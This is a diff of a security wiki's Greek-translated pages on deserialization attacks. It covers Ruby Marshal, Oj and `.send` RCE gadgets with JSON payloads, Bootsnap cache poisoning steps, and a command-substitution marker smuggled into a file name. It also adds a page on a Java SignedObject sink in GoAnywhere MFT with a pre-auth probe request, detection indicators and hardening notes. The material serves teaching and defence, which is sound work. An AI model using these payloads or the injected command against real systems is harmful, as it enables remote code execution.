εφαρμογές, σε μη αξιόπιστες πηγές δεδομένων. ### **References** -- Έγγραφο σχετικά με την αποσυμπίεση JSON σε Java και .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Java and .Net JSON deserialization paper: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) ## **Ruby** -Στη Ruby, η αποθήκευση είναι δυνατή μέσω δύο μεθόδων μέσα στη βιβλιοθήκη **marshal**. Η πρώτη μέθοδος, γνωστή ως **dump**, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ροή byte. Αυτή η διαδικασία αναφέρεται ως αποθήκευση. Αντίθετα, η δεύτερη μέθοδος, **load**, χρησιμοποιείται για να επαναφέρει μια ροή byte πίσω σε ένα αντικείμενο, μια διαδικασία που ονομάζεται αποσυμπίεση. +Στο Ruby, η σειριοποίηση γίνεται μέσω δύο μεθόδων στην βιβλιοθήκη **marshal**. Η πρώτη μέθοδος, γνωστή ως **dump**, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε byte stream — αυτή η διαδικασία αναφέρεται ως serialization. Αντίστοιχα, η δεύτερη μέθοδος, **load**, χρησιμοποιείται για να αναστρέψει ένα byte stream πίσω σε αντικείμενο — μια διαδικασία που είναι γνωστή ως deserialization. -Για την ασφάλεια των αποθηκευμένων αντικειμένων, **η Ruby χρησιμοποιεί HMAC (Hash-Based Message Authentication Code)**, διασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται για αυτό το σκοπό αποθηκεύεται σε μία από πολλές πιθανές τοποθεσίες: +Για την ασφάλεια των σειριοποιημένων αντικειμένων, **το Ruby χρησιμοποιεί HMAC (Hash-Based Message Authentication Code)**, διασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται για αυτόν τον σκοπό αποθηκεύεται σε μία από τις ακόλουθες πιθανές τοποθεσίες: - `config/environment.rb` - `config/initializers/secret_token.rb` - `config/secrets.yml` - `/proc/self/environ` -**Γενική αποσυμπίεση Ruby 2.X σε αλυσίδα gadget RCE (περισσότερες πληροφορίες στο** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: +**Ruby 2.X generic deserialization to RCE gadget chain (more info in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: ```ruby #!/usr/bin/env ruby @@ -871,18 +886,18 @@ require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) ``` -Άλλο RCE chain για εκμετάλλευση του Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) +Other RCE chain to exploit Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) -### Μέθοδος Ruby .send() +### Ruby .send() μέθοδος -Όπως εξηγείται σε [**αυτή την αναφορά ευπάθειας**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), αν κάποια μη φιλτραρισμένη είσοδος χρήστη φτάσει στη μέθοδο `.send()` ενός αντικειμένου ruby, αυτή η μέθοδος επιτρέπει να **καλέσετε οποιαδήποτε άλλη μέθοδο** του αντικειμένου με οποιαδήποτε παραμέτρους. +Όπως εξηγείται στο [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), αν κάποια μη φιλτραρισμένη είσοδος χρήστη φτάσει στη μέθοδο `.send()` ενός ruby αντικειμένου, αυτή η μέθοδος επιτρέπει να **κληθεί οποιαδήποτε άλλη μέθοδος** του αντικειμένου με οποιουσδήποτε παραμέτρους. -Για παράδειγμα, η κλήση του eval και στη συνέχεια του κώδικα ruby ως δεύτερη παράμετρος θα επιτρέψει την εκτέλεση αυθαίρετου κώδικα: +Για παράδειγμα, η κλήση του eval και στη συνέχεια ruby κώδικα ως δεύτερου παραμέτρου θα επιτρέψει την εκτέλεση αυθαίρετου κώδικα: ```ruby .send('eval', '') == RCE ``` -Επιπλέον, αν μόνο μία παράμετρος του **`.send()`** ελέγχεται από έναν επιτιθέμενο, όπως αναφέρθηκε στην προηγούμενη περιγραφή, είναι δυνατόν να κληθεί οποιαδήποτε μέθοδος του αντικειμένου που **δεν χρειάζεται παραμέτρους** ή των οποίων οι παράμετροι έχουν **προεπιλεγμένες τιμές**.\ -Για αυτό, είναι δυνατόν να απαριθμηθούν όλες οι μέθοδοι του αντικειμένου για να **βρεθούν κάποιες ενδιαφέρουσες μέθοδοι που πληρούν αυτές τις απαιτήσεις**. +Επιπλέον, αν μόνο ένας παράμετρος της **`.send()`** ελέγχεται από έναν επιτιθέμενο, όπως αναφέρθηκε στο προηγούμενο writeup, είναι δυνατό να κληθεί οποιαδήποτε μέθοδος του αντικειμένου που **δεν χρειάζεται ορίσματα** ή τα ορίσματά της έχουν **προεπιλεγμένες τιμές**.\ +Για αυτό, είναι δυνατό να απαριθμηθούν όλες οι μέθοδοι του αντικειμένου για να **βρεθούν μερικές ενδιαφέρουσες μέθοδοι που πληρούν αυτές τις προϋποθέσεις**. ```ruby .send('') @@ -906,23 +921,23 @@ candidate_methods.length() # Final number of methods=> 3595 ``` ### Ruby class pollution -Ελέγξτε πώς θα μπορούσε να είναι δυνατό να [μολυνθεί μια κλάση Ruby και να καταχραστεί εδώ](ruby-class-pollution.md). +Δες πώς είναι δυνατό να [pollute a Ruby class and abuse it in here](ruby-class-pollution.md). ### Ruby _json pollution -Όταν στέλνετε σε ένα σώμα κάποιες τιμές που δεν είναι hashable όπως ένας πίνακας, θα προστεθούν σε ένα νέο κλειδί που ονομάζεται `_json`. Ωστόσο, είναι δυνατόν για έναν επιτιθέμενο να ορίσει επίσης στο σώμα μια τιμή που ονομάζεται `_json` με τις αυθαίρετες τιμές που επιθυμεί. Στη συνέχεια, αν το backend για παράδειγμα ελέγχει την αλήθεια μιας παραμέτρου αλλά στη συνέχεια χρησιμοποιεί επίσης την παράμετρο `_json` για να εκτελέσει κάποια ενέργεια, θα μπορούσε να πραγματοποιηθεί παράκαμψη εξουσιοδότησης. +Όταν αποστέλλεις στο body κάποιες τιμές που δεν είναι hashable, όπως ένα array, αυτές θα προστεθούν σε ένα νέο κλειδί που ονομάζεται `_json`. Ωστόσο, είναι δυνατό ένας attacker να ορίσει επίσης στο body μια τιμή `_json` με οποιεσδήποτε αυθαίρετες τιμές επιθυμεί. Έτσι, αν το backend —για παράδειγμα— ελέγξει την εγκυρότητα μιας παραμέτρου αλλά στη συνέχεια χρησιμοποιήσει την παράμετρο `_json` για να εκτελέσει κάποια ενέργεια, μπορεί να γίνει authorisation bypass. -Ελέγξτε περισσότερες πληροφορίες στη [σελίδα Ruby _json pollution](ruby-_json-pollution.md). +Δες περισσότερες πληροφορίες στη [Ruby _json pollution page](ruby-_json-pollution.md). -### Other libraries +### Άλλες βιβλιοθήκες -Αυτή η τεχνική ελήφθη[ **από αυτήν την ανάρτηση ιστολογίου**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). +Η τεχνική αυτή ελήφθη [ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). -Υπάρχουν άλλες βιβλιοθήκες Ruby που μπορούν να χρησιμοποιηθούν για την σειριοποίηση αντικειμένων και επομένως θα μπορούσαν να καταχραστούν για να αποκτήσουν RCE κατά τη διάρκεια μιας ανασφαλούς αποσειριοποίησης. Ο παρακάτω πίνακας δείχνει μερικές από αυτές τις βιβλιοθήκες και τη μέθοδο που καλούν από τη φορτωμένη βιβλιοθήκη όποτε αποσειριοποιούνται (λειτουργία για κατάχρηση για να αποκτήσετε RCE βασικά): +Υπάρχουν κι άλλες βιβλιοθήκες Ruby που μπορούν να χρησιμοποιηθούν για να serialize objects και που κατά συνέπεια θα μπορούσαν να καταχρηστούν για να αποκτηθεί RCE κατά τη διάρκεια insecure deserialization. Ο παρακάτω πίνακας δείχνει μερικές από αυτές τις βιβλιοθήκες και τη μέθοδο που καλείται της φορτωμένης library όποτε γίνεται unserialized (η λειτουργία που θα μπορούσε να καταχραστεί για να επιτευχθεί RCE βασικά): -
LibraryInput dataKick-off method inside class
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))
+
ΒιβλιοθήκηΔεδομένα εισόδουΜέθοδος εκκίνησης μέσα στην κλάση
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))
-Basic example: +Βασικό παράδειγμα: ```ruby # Existing Ruby class inside the code of the app class SimpleClass @@ -944,7 +959,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -Στην περίπτωση που προσπαθήσαμε να εκμεταλλευτούμε το Oj, ήταν δυνατό να βρούμε μια κλάση gadget που μέσα στη συνάρτηση `hash` της θα καλούσε το `to_s`, το οποίο θα καλούσε το spec, το οποίο θα καλούσε το fetch_path, το οποίο ήταν δυνατό να το κάνουμε να ανακτήσει μια τυχαία διεύθυνση URL, παρέχοντας έναν εξαιρετικό ανιχνευτή αυτού του είδους των μη απολυμασμένων ευπαθειών αποσυμπίεσης. +Σε περίπτωση προσπάθειας κατάχρησης του Oj, ήταν δυνατό να βρεθεί μια gadget class που μέσα στη `hash` function θα καλεί `to_s`, η οποία θα καλεί `spec`, που θα καλεί `fetch_path` — το οποίο μπορούσε να το αναγκάσουμε να κάνει fetch ένα τυχαίο URL, παρέχοντας έναν εξαιρετικό ανιχνευτή για αυτού του είδους τις unsanitized deserialization vulnerabilities. ```json { "^o": "URI::HTTP", @@ -956,7 +971,7 @@ Oj.load(json_payload) "password": "anypw" } ``` -Επιπλέον, διαπιστώθηκε ότι με την προηγούμενη τεχνική δημιουργείται επίσης ένας φάκελος στο σύστημα, ο οποίος είναι απαραίτητος για την κατάχρηση ενός άλλου gadget προκειμένου να μετατραπεί αυτό σε μια πλήρη RCE με κάτι σαν: +Επιπλέον, διαπιστώθηκε ότι με την προηγούμενη τεχνική δημιουργείται επίσης ένας φάκελος στο σύστημα, ο οποίος είναι απαραίτητος για την κατάχρηση ενός άλλου gadget προκειμένου να μετατραπεί αυτό σε πλήρες RCE με κάτι όπως: ```json { "^o": "Gem::Resolver::SpecSpecification", @@ -980,46 +995,50 @@ Oj.load(json_payload) ``` Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). -### Bootstrap Caching +### Cache εκκίνησης -Όχι πραγματικά μια ευπάθεια αποσυμπίεσης αλλά ένα ωραίο κόλπο για να εκμεταλλευτείτε την προσωρινή μνήμη bootstrap για να αποκτήσετε RCE από μια εφαρμογή rails με τυχαία εγγραφή αρχείου (βρείτε την πλήρη [πρωτότυπη ανάρτηση εδώ](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). +Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). -Παρακάτω είναι μια σύντομη περίληψη των βημάτων που περιγράφονται στο άρθρο για την εκμετάλλευση μιας ευπάθειας τυχαίας εγγραφής αρχείου μέσω της εκμετάλλευσης της προσωρινής μνήμης Bootsnap: +Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching: -- Identify the Vulnerability and Environment +- Αναγνώριση της ευπάθειας και του περιβάλλοντος -Η λειτουργία μεταφόρτωσης αρχείων της εφαρμογής Rails επιτρέπει σε έναν επιτιθέμενο να γράφει αρχεία τυχαία. Αν και η εφαρμογή εκτελείται με περιορισμούς (μόνο ορισμένοι φάκελοι όπως το tmp είναι εγγράψιμοι λόγω του μη-διαχειριστή χρήστη του Docker), αυτό επιτρέπει ακόμα τη γραφή στον φάκελο προσωρινής μνήμης Bootsnap (συνήθως κάτω από tmp/cache/bootsnap). + The Rails app’s file upload functionality lets an attacker write files arbitrarily. Although the app runs with restrictions (only certain directories like tmp are writable due to Docker’s non-root user), this still allows writing to the Bootsnap cache directory (typically under tmp/cache/bootsnap). -- Understand Bootsnap’s Cache Mechanism +- Κατανόηση του μηχανισμού Cache του Bootsnap -Η Bootsnap επιταχύνει τους χρόνους εκκίνησης του Rails αποθηκεύοντας σε προσωρινή μνήμη τον μεταγλωττισμένο κώδικα Ruby, YAML και JSON. Αποθηκεύει αρχεία προσωρινής μνήμης που περιλαμβάνουν μια κεφαλίδα κλειδιού προσωρινής μνήμης (με πεδία όπως η έκδοση Ruby, το μέγεθος αρχείου, mtime, επιλογές μεταγλώττισης κ.λπ.) ακολουθούμενη από τον μεταγλωττισμένο κώδικα. Αυτή η κεφαλίδα χρησιμοποιείται για την επικύρωση της προσωρινής μνήμης κατά την εκκίνηση της εφαρμογής. + Bootsnap speeds up Rails boot times by caching compiled Ruby code, YAML, and JSON files. It stores cache files that include a cache key header (with fields like Ruby version, file size, mtime, compile options, etc.) followed by the compiled code. This header is used to validate the cache during app startup. -- Gather File Metadata +- Συλλογή metadata αρχείου -Ο επιτιθέμενος πρώτα επιλέγει ένα αρχείο στόχο που είναι πιθανό να φορτωθεί κατά την εκκίνηση του Rails (για παράδειγμα, το set.rb από τη βιβλιοθήκη standard της Ruby). Εκτελώντας κώδικα Ruby μέσα στο κοντέινερ, εξάγουν κρίσιμα μεταδεδομένα (όπως RUBY_VERSION, RUBY_REVISION, μέγεθος, mtime και compile_option). Αυτά τα δεδομένα είναι απαραίτητα για τη δημιουργία ενός έγκυρου κλειδιού προσωρινής μνήμης. + The attacker first selects a target file that is likely loaded during Rails startup (for example, set.rb from Ruby’s standard library). By executing Ruby code inside the container, they extract critical metadata (such as RUBY_VERSION, RUBY_REVISION, size, mtime, and compile_option). This data is essential for crafting a valid cache key. -- Compute the Cache File Path +- Υπολογισμός του μονοπατιού του cache αρχείου -Αναπαράγοντας τον μηχανισμό κατακερματισμού FNV-1a 64-bit της Bootsnap, προσδιορίζεται η σωστή διαδρομή αρχείου προσωρινής μνήμης. Αυτό το βήμα διασφαλίζει ότι το κακόβουλο αρχείο προσωρινής μνήμης τοποθετείται ακριβώς εκεί που το περιμένει η Bootsnap (π.χ., κάτω από tmp/cache/bootsnap/compile-cache-iseq/). + By replicating Bootsnap’s FNV-1a 64-bit hash mechanism, the correct cache file path is determined. This step ensures that the malicious cache file is placed exactly where Bootsnap expects it (e.g., under tmp/cache/bootsnap/compile-cache-iseq/). -- Craft the Malicious Cache File +- Δημιουργία του malicious cache αρχείου -Ο επιτιθέμενος προετοιμάζει ένα payload που: + The attacker prepares a payload that: -- Εκτελεί τυχαίες εντολές (για παράδειγμα, εκτελώντας id για να δείξει πληροφορίες διαδικασίας). -- Αφαιρεί την κακόβουλη προσωρινή μνήμη μετά την εκτέλεση για να αποτρέψει αναδρομική εκμετάλλευση. -- Φορτώνει το αρχικό αρχείο (π.χ., set.rb) για να αποφευχθεί η κατάρρευση της εφαρμογής. + - Εκτελεί arbitrary commands (for example, running id to show process info). + - Αφαιρεί το malicious cache μετά την εκτέλεση για να αποτρέψει recursive exploitation. + - Φορτώνει το original file (π.χ., set.rb) για να αποφευχθεί το crash της εφαρμογής. + + This payload is compiled into binary Ruby code and concatenated with a carefully constructed cache key header (using the previously gathered metadata and the correct version number for Bootsnap). + +- Επανεγγραφή και ενεργοποίηση εκτέλεσης + + Using the arbitrary file write vulnerability, the attacker writes the crafted cache file to the computed location. Next, they trigger a server restart (by writing to tmp/restart.txt, which is monitored by Puma). During restart, when Rails requires the targeted file, the malicious cache file is loaded, resulting in remote code execution (RCE). -Αυτό το payload μεταγλωττίζεται σε δυαδικό κώδικα Ruby και συγχωνεύεται με μια προσεκτικά κατασκευασμένη κεφαλίδα κλειδιού προσωρινής μνήμης (χρησιμοποιώντας τα προηγουμένως συγκεντρωμένα μεταδεδομένα και τον σωστό αριθμό έκδοσης για την Bootsnap). -- Overwrite and Trigger Execution -Χρησιμοποιώντας την ευπάθεια τυχαίας εγγραφής αρχείου, ο επιτιθέμενος γράφει το κατασκευασμένο αρχείο προσωρινής μνήμης στην υπολογισμένη τοποθεσία. Στη συνέχεια, ενεργοποιούν μια επανεκκίνηση του διακομιστή (γράφοντας στο tmp/restart.txt, το οποίο παρακολουθείται από την Puma). Κατά την επανεκκίνηση, όταν το Rails απαιτεί το στοχευμένο αρχείο, το κακόβουλο αρχείο προσωρινής μνήμης φορτώνεται, με αποτέλεσμα την απομακρυσμένη εκτέλεση κώδικα (RCE). ### Ruby Marshal exploitation in practice (updated) -Θεωρήστε οποιαδήποτε διαδρομή όπου μη αξιόπιστα bytes φτάνουν στο `Marshal.load`/`marshal_load` ως σημείο RCE. Το Marshal ανακατασκευάζει τυχαία γραφήματα αντικειμένων και ενεργοποιεί callbacks βιβλιοθηκών/gem κατά τη διάρκεια της υλοποίησης. +Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization. -- Minimal vulnerable Rails code path: + +- Ελάχιστο ευάλωτο μονοπάτι κώδικα Rails: ```ruby class UserRestoreController < ApplicationController def show @@ -1033,24 +1052,25 @@ end end end ``` -- Κοινές κατηγορίες gadget που παρατηρούνται σε πραγματικές αλυσίδες: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`. -- Τυπικός δείκτης παρενέργειας ενσωματωμένος σε payloads (εκτελείται κατά την αποσυσκευασία): +- Συνηθισμένες κλάσεις gadget που παρατηρούνται σε πραγματικές αλυσίδες: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`. +- Τυπικός δείκτης παρενέργειας ενσωματωμένος σε payloads (εκτελείται κατά το unmarshal): ``` *-TmTT="$(id>/tmp/marshal-poc)"any.zip ``` Where it surfaces in real apps: -- Rails cache stores και session stores ιστορικά χρησιμοποιούν Marshal -- Background job backends και file-backed object stores -- Οποιαδήποτε προσαρμοσμένη επιμονή ή μεταφορά δυαδικών αντικειμένων +- Rails cache stores and session stores historically using Marshal +- Background job backends and file-backed object stores +- Any custom persistence or transport of binary object blobs Industrialized gadget discovery: -- Grep για constructors, `hash`, `_load`, `init_with`, ή side-effectful methods που καλούνται κατά τη διάρκεια του unmarshal -- Χρησιμοποιήστε τα Ruby unsafe deserialization queries του CodeQL για να ανιχνεύσετε πηγές → sinks και να αναδείξετε gadgets -- Επικυρώστε με δημόσιες multi-format PoCs (JSON/XML/YAML/Marshal) +- Grep for constructors, `hash`, `_load`, `init_with`, or side-effectful methods invoked during unmarshal +- Χρησιμοποιήστε τα CodeQL Ruby unsafe deserialization queries για να εντοπίσετε sources → sinks και να αποκαλύψετε gadgets +- Επαληθεύστε με δημόσια multi-format PoCs (JSON/XML/YAML/Marshal) -## References -- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/ +## Αναφορές + +- Trail of Bits – Marshal madness: Μια σύντομη ιστορία των Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/ - elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/ - Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html - CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420 @@ -1059,10 +1079,11 @@ Industrialized gadget discovery: - GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/ - GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization - Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1 -- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3-4-deserialization.html +- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html - Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html - Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1 - Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444 - Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/ +- watchTowr Labs – Είναι αυτό κακό; Αυτό φαίνεται κακό — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md b/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md new file mode 100644 index 000000000..479562a1a --- /dev/null +++ b/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md @@ -0,0 +1,140 @@ +# Java SignedObject-gated Deserialization and Pre-auth Reachability via Error Paths + +{{#include ../../banners/hacktricks-training.md}} + +Αυτή η σελίδα τεκμηριώνει ένα κοινό «προφυλαγμένο» πρότυπο Java deserialization γύρω από το java.security.SignedObject και το πώς φαινομενικά απρόσιτα sinks μπορούν να γίνουν προσβάσιμα πριν από την αυθεντικοποίηση μέσω ροών χειρισμού σφαλμάτων. Η τεχνική παρατηρήθηκε στο Fortra GoAnywhere MFT (CVE-2025-10035) αλλά είναι εφαρμόσιμη σε παρόμοιες σχεδιάσεις. + +## Υπόδειγμα απειλής + +- Ο attacker μπορεί να φτάσει σε ένα HTTP endpoint που τελικά επεξεργάζεται ένα attacker-supplied byte[] προοριζόμενο να είναι ένα σειριοποιημένο SignedObject. +- Ο κώδικας χρησιμοποιεί ένα validating wrapper (π.χ. Apache Commons IO ValidatingObjectInputStream ή έναν custom adapter) για να περιορίσει τον εξωτερικό τύπο σε SignedObject (ή byte[]). +- Το εσωτερικό αντικείμενο που επιστρέφεται από το SignedObject.getObject() είναι όπου οι gadget chains μπορούν να ενεργοποιηθούν (π.χ., CommonsBeanutils1), αλλά μόνο μετά από πύλη επαλήθευσης υπογραφής. + +## Τυπικό ευάλωτο μοτίβο + +A simplified example based on com.linoma.license.gen2.BundleWorker.verify: +```java +private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception { +String sigAlg = "SHA1withDSA"; +if ("2".equals(keyCfg.getVersion())) { +sigAlg = "SHA512withRSA"; // key version controls algorithm +} +PublicKey pub = getPublicKey(keyCfg); +Signature sig = Signature.getInstance(sigAlg); + +// 1) Outer, "guarded" deserialization restricted to SignedObject +SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize( +payload, SignedObject.class, new Class[]{ byte[].class }); + +if (keyCfg.isServer()) { +// Hardened server path +return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject( +so, SignedContainer.class, new Class[]{ byte[].class } +)).getData(); +} else { +// 2) Signature check using a baked-in public key +if (!so.verify(pub, sig)) { +throw new IOException("Unable to verify signature!"); +} +// 3) Inner object deserialization (potential gadget execution) +SignedContainer inner = (SignedContainer) so.getObject(); +return inner.getData(); +} +} +``` +Κύριες παρατηρήσεις: +- Ο validating deserializer στο (1) μπλοκάρει αυθαίρετες top-level gadget classes· γίνεται αποδεκτό μόνο το SignedObject (ή raw byte[]). +- Το RCE primitive θα βρίσκεται στο εσωτερικό αντικείμενο που υλοποιείται από SignedObject.getObject() στο (3). +- Ένας signature gate στο (2) επιβάλλει ότι το SignedObject πρέπει να επαληθεύεται έναντι ενός public key ενσωματωμένου στο προϊόν. Εκτός κι αν ο επιτιθέμενος μπορεί να παραγάγει έγκυρη υπογραφή, το inner gadget δεν απο-σειριοποιείται ποτέ. + +## Παρατηρήσεις εκμετάλλευσης + +Για να επιτευχθεί εκτέλεση κώδικα, ο επιτιθέμενος πρέπει να παραδώσει ένα σωστά υπογεγραμμένο SignedObject που τυλίγει μια κακόβουλη gadget chain ως το εσωτερικό αντικείμενο. Αυτό γενικά απαιτεί ένα από τα ακόλουθα: + +- Private key compromise: απόκτηση του αντίστοιχου private key που χρησιμοποιεί το προϊόν για να υπογράφει/επαληθεύει license objects. +- Signing oracle: εξαναγκασμός του vendor ή μιας αξιόπιστης signing υπηρεσίας να υπογράψει serialized περιεχόμενο ελεγχόμενο από τον επιτιθέμενο (π.χ. αν ένας license server υπογράφει ένα ενσωματωμένο arbitrary object από input του client). +- Alternate reachable path: εύρεση server-side διαδρομής που απο-σειριοποιεί το inner object χωρίς να επιβάλει verify(), ή που παρακάμπτει τους ελέγχους υπογραφής υπό μια συγκεκριμένη λειτουργία. + +Αν δεν ισχύει κάποια από αυτές, η επαλήθευση της υπογραφής θα αποτρέψει την εκμετάλλευση παρά την ύπαρξη ενός deserialization sink. + +## Πρόσβαση προ-αυθεντικοποίησης μέσω ροών χειρισμού σφαλμάτων + +Ακόμα κι όταν ένα deserialization endpoint φαίνεται να απαιτεί authentication ή ένα session-bound token, ο error-handling κώδικας μπορεί κατά λάθος να δημιουργήσει και να επισυνάψει το token σε μια μη αυθεντικοποιημένη συνεδρία. + +Παράδειγμα αλυσίδας προσβασιμότητας (GoAnywhere MFT): +- Target servlet: /goanywhere/lic/accept/ απαιτεί ένα session-bound license request token. +- Error path: πρόσβαση στο /goanywhere/license/Unlicensed.xhtml με trailing junk και invalid JSF state προκαλεί το AdminErrorHandlerServlet, το οποίο κάνει: +- SessionUtilities.generateLicenseRequestToken(session) +- Redirects to vendor license server with a signed license request in bundle=<...> +- Το bundle μπορεί να αποκρυπτογραφηθεί offline (hard-coded keys) για να ανακτηθεί το GUID. Κρατήστε το ίδιο session cookie και κάντε POST στο /goanywhere/lic/accept/ με attacker-controlled bundle bytes, φτάνοντας στο SignedObject sink προ-αυθεντικοποίησης. + +Δοκιμή απόδειξης προσβασιμότητας (χωρίς επιπτώσεις): +```http +GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1 +Host: +``` +- Μη επιδιορθωμένο: 302 Location header to https://my.goanywhere.com/lic/request?bundle=... and Set-Cookie: ASESSIONID=... +- Επιδιορθωμένο: redirect without bundle (no token generation). + +## Ανίχνευση Blue-team + +Δείκτες σε stack traces/logs υποδηλώνουν έντονα προσπάθειες να στοχεύσουν ένα SignedObject-gated sink: +``` +java.io.ObjectInputStream.readObject +java.security.SignedObject.getObject +com.linoma.license.gen2.BundleWorker.verify +com.linoma.license.gen2.BundleWorker.unbundle +com.linoma.license.gen2.LicenseController.getResponse +com.linoma.license.gen2.LicenseAPI.getResponse +com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost +``` +## Οδηγίες ενίσχυσης + +- Διατηρείτε την επαλήθευση υπογραφής πριν από οποιαδήποτε κλήση getObject() και βεβαιωθείτε ότι η επαλήθευση χρησιμοποιεί το προβλεπόμενο δημόσιο κλειδί/αλγόριθμο. +- Αντικαταστήστε άμεσες κλήσεις SignedObject.getObject() με ένα σκληρυμένο wrapper που εφαρμόζει ξανά φιλτράρισμα στο εσωτερικό stream (π.χ., deserializeUntrustedSignedObject χρησιμοποιώντας allow-lists του 